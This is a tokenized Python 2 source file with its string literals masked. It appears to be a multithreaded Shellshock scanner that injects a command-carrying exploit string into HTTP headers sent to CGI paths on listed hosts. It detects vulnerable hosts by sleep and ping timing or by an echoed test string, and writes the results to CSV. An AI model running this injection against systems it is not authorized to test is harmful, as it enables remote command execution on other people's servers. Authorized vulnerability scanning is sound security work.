<s> """<STR_LIT>""" <EOL> import httplib , sys , time <EOL> import pprint <EOL> import csv <EOL> import argparse <EOL> from threading import Thread <EOL> from Queue import Queue <EOL> SLEEP_TIME = <NUM_LIT:9> <EOL> SLEEP_DELAY = <NUM_LIT:5> <EOL> PING_PKTS = <NUM_LIT:9> <EOL> PING_DELAY = <NUM_LIT:7> <EOL> TEST_STRING = '<STR_LIT>' <EOL> TIMEOUT = <NUM_LIT:10> <EOL> ERRORS_TO_ABORT = <NUM_LIT:8> <EOL> protocol = None <EOL> target_results = [ ] <EOL> concurrent = <NUM_LIT:20> <EOL> PERSOHEADER = '<STR_LIT:test>' <EOL> USER_AGENT = '<STR_LIT>' <EOL> EXPLOIT1 = '<STR_LIT>' <EOL> EXPLOIT2 = '<STR_LIT>' <EOL> EXPLOIT = EXPLOIT2 <EOL> THREADS_DEFAULT = <NUM_LIT:20> <EOL> PROXY = None <EOL> def request ( target_host , path , headers ) : <EOL> if PROXY : <EOL> if protocol : <EOL> path = protocol + '<STR_LIT>' + path <EOL> elif target_host . endswith ( '<STR_LIT>' ) : <EOL> path = '<STR_LIT>' + target_host + path <EOL> else : <EOL> path = '<STR_LIT>' + target_host + path <EOL> conn = httplib . HTTPConnection ( PROXY , timeout = TIMEOUT ) <EOL> else : <EOL> if protocol == '<STR_LIT:http>' : <EOL> conn = httplib . HTTPConnection ( target_host , timeout = TIMEOUT ) <EOL> elif protocol == '<STR_LIT>' : <EOL> conn = httplib . HTTPSConnection ( target_host , timeout = TIMEOUT ) <EOL> elif target_host . endswith ( '<STR_LIT>' ) : <EOL> conn = httplib . HTTPSConnection ( target_host , timeout = TIMEOUT ) <EOL> else : <EOL> conn = httplib . HTTPConnection ( target_host , timeout = TIMEOUT ) <EOL> headers = headers <EOL> start = time . time ( ) <EOL> conn . request ( "<STR_LIT:GET>" , path , headers = headers ) <EOL> res = conn . getresponse ( ) <EOL> end = time . time ( ) <EOL> delay = end - start <EOL> return ( res . status , res . reason , delay , res ) <EOL> def exploit ( target_host , cgi_path , command ) : <EOL> shellcode = EXPLOIT % command <EOL> headers = { "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : shellcode , <EOL> "<STR_LIT>" : shellcode , <EOL> "<STR_LIT>" : shellcode , <EOL> PERSOHEADER : shellcode , <EOL> } <EOL> return request ( target_host , cgi_path , headers ) <EOL> def testShellShock ( target_host , cgi_path , command ) : <EOL> try : <EOL> status1 = reason1 = delay1 = res1 = status2 = reason2 = delay2 = res2 = None <EOL> command2 = command <EOL> headers = { "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : USER_AGENT , <EOL> } <EOL> status1 , reason1 , delay1 , res1 = request ( target_host , cgi_path , headers ) <EOL> status2 , reason2 , delay2 , res2 = exploit ( target_host , cgi_path , command2 ) <EOL> res1 . close ( ) <EOL> res2 . close ( ) <EOL> return { '<STR_LIT:host>' : target_host , <EOL> '<STR_LIT>' : cgi_path , <EOL> '<STR_LIT>' : [ ( '<STR_LIT>' , status1 , reason1 , delay1 , res1 ) , ( command2 , status2 , reason2 , delay2 , res2 ) ] , <EOL> '<STR_LIT>' : None , <EOL> '<STR_LIT>' : None , <EOL> '<STR_LIT:error>' : False , <EOL> '<STR_LIT>' : delay2 - delay1 <EOL> } <EOL> except Exception as e : <EOL> return { '<STR_LIT:host>' : target_host , <EOL> '<STR_LIT>' : cgi_path , <EOL> '<STR_LIT>' : [ ( '<STR_LIT>' , status1 , reason1 , delay1 ) , ( command2 , status2 , reason2 , delay2 ) ] , <EOL> '<STR_LIT>' : False , <EOL> '<STR_LIT>' : False , <EOL> '<STR_LIT:error>' : True , <EOL> '<STR_LIT>' : None <EOL> } <EOL> def testSleep ( target_host , cgi_path ) : <EOL> shellshocktest = testShellShock ( target_host , cgi_path , "<STR_LIT>" % SLEEP_TIME ) <EOL> if not shellshocktest [ '<STR_LIT:error>' ] : <EOL> shellshocktest [ '<STR_LIT>' ] = shellshocktest [ '<STR_LIT>' ] [ <NUM_LIT:1> ] [ <NUM_LIT:3> ] > SLEEP_TIME <EOL> shellshocktest [ '<STR_LIT>' ] = shellshocktest [ '<STR_LIT>' ] and shellshocktest [ '<STR_LIT>' ] > SLEEP_DELAY <EOL> if shellshocktest [ '<STR_LIT>' ] : <EOL> print "<STR_LIT>" % ( target_host , cgi_path ) <EOL> print "<STR_LIT>" % ( target_host , cgi_path , "<STR_LIT>" , "<STR_LIT>" if shellshocktest [ '<STR_LIT>' ] else "<STR_LIT:False>" , shellshocktest [ '<STR_LIT>' ] [ <NUM_LIT:1> ] [ <NUM_LIT:3> ] ) <EOL> return shellshocktest <EOL> def testPing ( target_host , cgi_path ) : <EOL> shellshocktest = testShellShock ( target_host , cgi_path , "<STR_LIT>" % PING_PKTS ) <EOL> if not shellshocktest [ '<STR_LIT:error>' ] : <EOL> shellshocktest [ '<STR_LIT>' ] = shellshocktest [ '<STR_LIT>' ] [ <NUM_LIT:1> ] [ <NUM_LIT:3> ] > PING_DELAY <EOL> shellshocktest [ '<STR_LIT>' ] = shellshocktest [ '<STR_LIT>' ] and shellshocktest [ '<STR_LIT>' ] > PING_DELAY <EOL> if shellshocktest [ '<STR_LIT>' ] : <EOL> print "<STR_LIT>" % ( target_host , cgi_path ) <EOL> print "<STR_LIT>" % ( target_host , cgi_path , "<STR_LIT>" , "<STR_LIT>" if shellshocktest [ '<STR_LIT>' ] else "<STR_LIT:False>" , shellshocktest [ '<STR_LIT>' ] [ <NUM_LIT:1> ] [ <NUM_LIT:3> ] ) <EOL> return shellshocktest <EOL> """<STR_LIT>""" <EOL> def testString ( target_host , cgi_path ) : <EOL> status = reason = delay = res = status = reason = delay = res2 = None <EOL> command = '<STR_LIT>' % TEST_STRING <EOL> try : <EOL> status , reason , delay , res = exploit ( target_host , cgi_path , command ) <EOL> data = res . read ( ) <EOL> res . close ( ) <EOL> warning = vulnerable = TEST_STRING in data <EOL> if vulnerable : <EOL> print "<STR_LIT>" % ( target_host , cgi_path ) <EOL> shellshocktest = { '<STR_LIT:host>' : target_host , <EOL> '<STR_LIT>' : cgi_path , <EOL> '<STR_LIT>' : [ ( command , status , reason , delay , res ) , ( None , None , None , None , None ) ] , <EOL> '<STR_LIT>' : vulnerable , <EOL> '<STR_LIT>' : warning , <EOL> '<STR_LIT:error>' : False , <EOL> '<STR_LIT>' : <NUM_LIT:0> <EOL> } <EOL> print "<STR_LIT>" % ( target_host , cgi_path , "<STR_LIT>" , "<STR_LIT>" if shellshocktest [ '<STR_LIT>' ] else "<STR_LIT:False>" , shellshocktest [ '<STR_LIT>' ] [ <NUM_LIT:0> ] [ <NUM_LIT:3> ] ) <EOL> return shellshocktest <EOL> except Exception as e : <EOL> shellshocktest = { '<STR_LIT:host>' : target_host , <EOL> '<STR_LIT>' : cgi_path , <EOL> '<STR_LIT>' : [ ( command , status , reason , delay , res ) , ( None , None , None , None , None ) ] , <EOL> '<STR_LIT>' : False , <EOL> '<STR_LIT>' : False , <EOL> '<STR_LIT:error>' : True , <EOL> '<STR_LIT>' : <NUM_LIT:0> <EOL> } <EOL> return shellshocktest <EOL> if not shellshocktest [ '<STR_LIT:error>' ] : <EOL> shellshocktest [ '<STR_LIT>' ] = shellshocktest [ '<STR_LIT>' ] [ <NUM_LIT:1> ] [ <NUM_LIT:4> ] > PING_DELAY <EOL> shellshocktest [ '<STR_LIT>' ] = shellshocktest [ '<STR_LIT>' ] and shellshocktest [ '<STR_LIT>' ] > PING_DELAY <EOL> if shellshocktest [ '<STR_LIT>' ] : <EOL> print "<STR_LIT>" % ( target_host , cgi_path ) <EOL> print "<STR_LIT>" % ( target_host , cgi_path , shellshocktest [ '<STR_LIT>' ] , shellshocktest [ '<STR_LIT>' ] [ <NUM_LIT:1> ] [ <NUM_LIT:3> ] ) <EOL> return shellshocktest <EOL> def testCGIList ( target_host , cgi_list ) : <EOL> test_list = [ ] <EOL> errors = <NUM_LIT:0> <EOL> for cgi_path in cgi_list : <EOL> if <NUM_LIT:1> in ATTACKS : <EOL> cgitest = testSleep ( target_host , cgi_path ) <EOL> test_list . append ( cgitest ) <EOL> if cgitest [ '<STR_LIT:error>' ] is True : <EOL> errors += <NUM_LIT:1> ; <EOL> else : <EOL> errors = <NUM_LIT:0> <EOL> if errors >= ERRORS_TO_ABORT : <EOL> print "<STR_LIT>" % ( cgitest [ '<STR_LIT:host>' ] , ERRORS_TO_ABORT ) <EOL> break ; <EOL> if <NUM_LIT:2> in ATTACKS : <EOL> cgitest = testPing ( target_host , cgi_path ) <EOL> test_list . append ( cgitest ) <EOL> if cgitest [ '<STR_LIT:error>' ] is True : <EOL> errors += <NUM_LIT:1> ; <EOL> else : <EOL> errors = <NUM_LIT:0> <EOL> if errors >= ERRORS_TO_ABORT : <EOL> print "<STR_LIT>" % ( cgitest [ '<STR_LIT:host>' ] , ERRORS_TO_ABORT ) <EOL> break ; <EOL> if <NUM_LIT:3> in ATTACKS : <EOL> cgitest = testString ( target_host , cgi_path ) <EOL> test_list . append ( cgitest ) <EOL> if cgitest [ '<STR_LIT:error>' ] is True : <EOL> errors += <NUM_LIT:1> ; <EOL> else : <EOL> errors = <NUM_LIT:0> <EOL> if errors >= ERRORS_TO_ABORT : <EOL> print "<STR_LIT>" % ( cgitest [ '<STR_LIT:host>' ] , ERRORS_TO_ABORT ) <EOL> break ; <EOL> return test_list <EOL> def threadWork ( ) : <EOL> global target_results <EOL> while True : <EOL> ( target , cgi_list ) = q . get ( ) <EOL> host_tests = testCGIList ( target , cgi_list ) <EOL> target_results . append ( host_tests ) <EOL> q . task_done ( ) <EOL> def scan ( target_list , cgi_list ) : <EOL> global q <EOL> q = Queue ( concurrent * <NUM_LIT:2> ) <EOL> for i in range ( concurrent ) : <EOL> t = Thread ( target = threadWork ) <EOL> t . daemon = True <EOL> t . start ( ) <EOL> try : <EOL> for target in target_list : <EOL> q . put ( ( target , cgi_list ) ) <EOL> q . join ( ) <EOL> except KeyboardInterrupt : <EOL> return <EOL> def writeCSV ( target_results , output ) : <EOL> csvf = open ( output , '<STR_LIT:w>' ) <EOL> csvw = csv . writer ( csvf , csv . excel ) <EOL> csvw . writerow ( [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] ) <EOL> target_results . sort ( ) <EOL> for host_list in target_results : <EOL> for test in host_list : <EOL> l = [ <EOL> test [ '<STR_LIT:host>' ] , <EOL> test [ '<STR_LIT>' ] , <EOL> test [ '<STR_LIT>' ] , <EOL> test [ '<STR_LIT:error>' ] , <EOL> test [ '<STR_LIT>' ] , <EOL> test [ '<STR_LIT>' ] [ <NUM_LIT:0> ] [ <NUM_LIT:0> ] , <EOL> test [ '<STR_LIT>' ] [ <NUM_LIT:0> ] [ <NUM_LIT:1> ] , <EOL> test [ '<STR_LIT>' ] [ <NUM_LIT:0> ] [ <NUM_LIT:2> ] , <EOL> test [ '<STR_LIT>' ] [ <NUM_LIT:0> ] [ <NUM_LIT:3> ] , <EOL> test [ '<STR_LIT>' ] [ <NUM_LIT:1> ] [ <NUM_LIT:0> ] , <EOL> test [ '<STR_LIT>' ] [ <NUM_LIT:1> ] [ <NUM_LIT:1> ] , <EOL> test [ '<STR_LIT>' ] [ <NUM_LIT:1> ] [ <NUM_LIT:2> ] , <EOL> test [ '<STR_LIT>' ] [ <NUM_LIT:1> ] [ <NUM_LIT:3> ] , <EOL> test [ '<STR_LIT>' ] <EOL> ] <EOL> csvw . writerow ( l ) <EOL> csvf . close ( ) <EOL> def main ( ) : <EOL> parser = argparse . ArgumentParser ( <EOL> add_help = False , <EOL> usage = '<STR_LIT>' , <EOL> formatter_class = argparse . RawTextHelpFormatter , <EOL> epilog = '''<STR_LIT>''' <EOL> ) <EOL> parser . add_argument ( '<STR_LIT>' , help = '<STR_LIT>' , metavar = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , help = '<STR_LIT>' , metavar = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , dest = '<STR_LIT>' , help = '<STR_LIT>' , metavar = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT>' , help = '<STR_LIT>' , metavar = '<STR_LIT>' , type = int , default = THREADS_DEFAULT ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT>' , help = '<STR_LIT>' , metavar = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT>' , help = '<STR_LIT>' , metavar = '<STR_LIT>' , type = int , nargs = '<STR_LIT:+>' , default = [ <NUM_LIT:1> , <NUM_LIT:2> ] ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT>' , help = '<STR_LIT>' , metavar = '<STR_LIT>' , type = int , default = <NUM_LIT:2> ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT>' , help = '<STR_LIT>' , metavar = '<STR_LIT>' , type = str ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , action = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> options = parser . parse_args ( ) <EOL> hostlist_file = options . hostlist_file <EOL> cgilist_file = options . cgilist_file <EOL> proto = options . proto <EOL> threads = options . threads <EOL> output = options . output <EOL> attacks = options . attacks <EOL> proxy = options . proxy <EOL> global ATTACKS <EOL> ATTACKS = attacks <EOL> global EXPLOIT <EOL> if options . exploit == <NUM_LIT:1> : <EOL> EXPLOIT = EXPLOIT1 <EOL> elif options . exploit == <NUM_LIT:2> : <EOL> EXPLOIT = EXPLOIT2 <EOL> global concurrent <EOL> concurrent = threads <EOL> global protocol <EOL> protocol = proto <EOL> global PROXY <EOL> if proxy : <EOL> PROXY = proxy <EOL> target_list = [ line . strip ( ) for line in open ( hostlist_file ) . readlines ( ) if len ( line . strip ( ) ) > <NUM_LIT:0> ] <EOL> cgi_list = [ line . strip ( ) for line in open ( cgilist_file ) . readlines ( ) if len ( line . strip ( ) ) > <NUM_LIT:0> ] <EOL> print "<STR_LIT>" % ( len ( target_list ) , len ( cgi_list ) , threads ) <EOL> print "<STR_LIT>" % ( ATTACKS , EXPLOIT % '<STR_LIT>' ) <EOL> if proxy : <EOL> print "<STR_LIT>" % PROXY <EOL> if protocol : <EOL> print "<STR_LIT>" % protocol <EOL> scan ( target_list , cgi_list ) <EOL> if output is not None : <EOL> writeCSV ( target_results , output ) <EOL> exit ( <NUM_LIT:0> ) <EOL> if __name__ == '<STR_LIT:__main__>' : <EOL> main ( ) </s>
